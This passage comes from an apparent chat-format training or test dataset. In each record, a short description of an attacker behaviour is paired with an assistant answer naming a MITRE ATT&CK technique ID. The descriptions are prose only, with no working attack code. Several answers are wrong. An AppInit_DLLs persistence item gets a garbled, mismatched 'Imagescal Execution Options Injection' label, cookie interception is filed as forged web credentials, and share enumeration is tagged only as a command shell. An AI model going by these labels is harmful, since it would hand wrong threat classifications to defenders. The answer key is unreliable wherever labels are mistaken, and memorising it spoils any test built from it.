                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell to add a registry entry for a new port monitor that points to a remote malicious DLL hosted on an internal server."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the password hash synchronization settings, allowing hashed passwords from the on-premises AD to be reused directly against Azure AD services."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber espionage group set up a hidden VNC service on compromised servers to conduct stealthy reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit a misconfigured FTP service, using specially crafted commands to upload and execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leveraged Microsoft Azure Virtual Machines to establish a remote PowerShell session on the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals scan public repositories on GitHub for usage of vulnerable third‑party libraries."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a scripted call to the AWS Security Token Service (STS) GetCallerIdentity to infer the presence of privileged cloud accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised Azure Function to send stolen credentials to an external server via a Discord webhook."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad actors employed the native remote management console of a cloud service to gain interactive access to a victim's virtual machine."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses the GitHub code search API to find deployment scripts containing AWS secret keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group buys a list of privileged accounts from an underground forum to facilitate future intrusion."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts a watering hole attack by compromising a popular industry forum and injecting malicious code."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the motherboard with one that contains a hidden microcontroller capable of exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targeted employees with a fake Microsoft login page, resulting in compromised cloud service accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors tamper with the bootloader of a development board at a contract manufacturer, allowing execution of unsigned code."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary queries the registry for keys associated with VirtualBox to determine if it is running in a virtual environment before proceeding."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs a wordlist‑based scan of URLs to locate hidden admin panels on the victim’s site."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors delete VSS shadows and modify registry keys that control restore points, inhibiting system recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised CI/CD pipeline token to clone the repository during the build process."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses HTML smuggling by embedding a PowerShell script in a hidden iframe of a seemingly benign .html file, which steals credentials when opened."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses 'rpm -qa' to retrieve all installed RPM packages on a Red Hat server."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages macOS XPC services to facilitate communication between a privileged helper and a user-level process."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor establishes a persistent backdoor by configuring a scheduled task via Group Policy Preferences on all workstations."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware triggers a reflection attack using Memcached servers to overwhelm a victim's bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a new entry in the Windows Image Loader's AppInit_DLLs registry key to load its code into every process."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Imagescal Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware obtains credential data by opening and reading the system's /etc/passwd and /etc/shadow files."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs application window discovery by extracting window titles via user32.dll."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a zero‑day in the Keychain services to bypass user consent and dump saved credentials silently."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the group issues SNMP queries to enumerate interface configurations and routing tables stored in the MIB."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool creates a hidden GUI window that runs PowerShell commands without displaying any UI, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code parses XML configuration files to locate embedded service account passwords in clear text."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script enumerated DFS shares and retrieved backup archives."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encodes command‑and‑control traffic using a proprietary base64 variant that swaps padding characters, rendering standard decoders ineffective."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed by modifying the Image File Execution Options registry for explorer.exe, setting a debugger path that points to a hidden malicious executable, thereby executing on each user login."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware created a custom UDP protocol to smuggle data chunks to an attacker-controlled server, bypassing typical firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the process tree by linking a malicious process under a trusted parent, effectively masquerading and evading detection."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the DisableTaskMgr value in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System to prevent users from opening Task Manager."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious caller pretends to be a vendor representative and convinces a purchasing manager to disclose credit card details for a fake invoice."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider used a custom script to scrape chat histories from an internal messaging platform, extracting usernames and passwords that were inadvertently shared."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social media post advertises a sensational news article; the link leads to a phishing page that harvests credentials after the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes reading the encrypted password vault from Vivaldi's user data directory to obtain saved web credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the malware patches the process's memory to replace encryption keys with ones controlled by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group exploits a web service’s bidirectional messaging feature to maintain stealthy command and control."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables code signing checks by changing the policy settings in the Local Security Policy, permitting execution of unsigned code."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encrypts harvested credentials and sends them back through the established remote access tunnel, using the C2 communication for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor injected malicious code into the system's TPM firmware, allowing persistent tampering with cryptographic operations."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uploads a Linux ELF binary to the victim's /tmp directory through an exposed FTP service."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of a legitimate scheduled task that calls ‘cmd.exe /c’ with an encoded command, the attacker indirectly runs malicious commands on the victim system."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was observed issuing a command to purge the user's Exchange mail folders, removing all inbound and outbound messages."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a privileged role to a service account in the Docker Swarm cluster, allowing command execution on all nodes."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor populates a higher-precedence folder with a tampered version of a commonly used utility, ensuring it is executed when the utility is called."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uploads a malicious JavaScript file to a web application's upload folder, which is then served to users and exploits their browsers."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker buys bulk phone numbers from a VoIP provider to use for credential‑stuffing and spam campaigns."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used cmd to run \"net share\" and enumerate network shares on the host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macOS service uses the Keychain Services to retrieve stored VPN client certificates and private keys."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping module extracts the user's access token from the registry and reuses it for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a bogus survey link in a phishing email to collect employee email addresses and internal phone numbers for future social engineering attacks."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages search functionality on GitHub to locate code snippets that reference internal IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses legitimate credentials to log into a corporate intranet portal that is not publicly indexed, extracting employee contact lists and organizational charts."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accesses /proc/[pid]/cgroup and related files to harvest credential material from containerized processes."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload is split into parts; once all parts are on the system, they are assembled and compiled into a native executable."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a DNS query that returns a TTL of 60 seconds and a new IP each time, indicating fast-flux resolution."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script repeatedly forks new processes on a Windows host, exhausting CPU and memory until the operating system becomes unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker supplies a crafted XML project to msbuild.exe, causing it to execute an embedded PowerShell command."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs targeted searches on the victim's owned domains to gather information for subsequent exploitation."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Local Users and Groups MMC snap-in (lusrmgr.msc) to manually add a privileged account."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor uses custom obfuscation by swapping characters in command strings."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a man‑in‑the‑middle attack on unsecured Wi‑Fi, the attacker intercepts HTTP cookies and replays them to access the victim's online banking portal."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltration, the adversary clears the network connection history in the OS and removes proxy configuration entries."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script searches for setuid programs that can be abused to spawn a privileged shell, then invokes one to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercises involve obfuscating PowerShell modules and stripping all digital signatures before execution."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows command `icacls` to grant the current user full control over the C:\\SensitiveData folder."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script exploited a vulnerable GCP service account to pull data from Cloud Storage buckets marked as public."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manipulates the content of a web‑based file sharing service's transfer, replacing a benign document with a malicious macro‑enabled file."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware cleans up by deleting its own executable and any generated payload files to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
